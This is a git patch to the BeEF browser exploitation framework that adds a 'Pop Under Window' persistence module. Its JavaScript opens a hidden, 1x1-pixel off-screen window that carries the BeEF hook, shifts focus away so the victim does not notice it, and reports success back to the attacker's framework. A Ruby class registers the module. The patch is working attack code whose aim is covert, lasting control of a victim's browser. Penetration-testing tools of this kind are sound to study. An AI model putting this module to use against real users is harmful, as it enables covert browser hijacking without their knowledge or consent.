From 5b31cc8f993a5b8154a0ba1253bf0cf30cbf3f2b Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Mon, 15 Nov 2010 12:50:48 +0000 Subject: [PATCH] persistence module added git-svn-id: https://beef.googlecode.com/svn/trunk@531 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../popunder_window/popunder_window.js | 10 ++++++ .../popunder_window/popunder_window.rb | 36 +++++++++++++++++++ 2 files changed, 46 insertions(+) create mode 100644 modules/commands/persistence/popunder_window/popunder_window.js create mode 100644 modules/commands/persistence/popunder_window/popunder_window.rb diff --git a/modules/commands/persistence/popunder_window/popunder_window.js b/modules/commands/persistence/popunder_window/popunder_window.js new file mode 100644 index 000000000..19a74900d --- /dev/null +++ b/modules/commands/persistence/popunder_window/popunder_window.js @@ -0,0 +1,10 @@ +beef.execute(function() { + + var result="Pop-under window successfully created!"; + + window.open(window.location.protocol + '//' + window.location.host + '/demos/basic.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); + + window.focus(); + + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); +}); diff --git a/modules/commands/persistence/popunder_window/popunder_window.rb b/modules/commands/persistence/popunder_window/popunder_window.rb new file mode 100644 index 000000000..689692f29 --- /dev/null +++ b/modules/commands/persistence/popunder_window/popunder_window.rb @@ -0,0 +1,36 @@ +module BeEF +module Modules +module Commands + + +class Popunder_window < BeEF::Command + + # + # Defines and set up the commmand module. + # + def initialize + super({ + 'Name' => 'Pop Under Window', + 'Description' => 'Creates a new discrete pop under window with the beef hook included.', + 'Category' => 'Persistence', + 'Author' => 'ethicalhack3r', + 'File' => __FILE__, + 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL } + }) + + use_template! + + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end + +end +end +end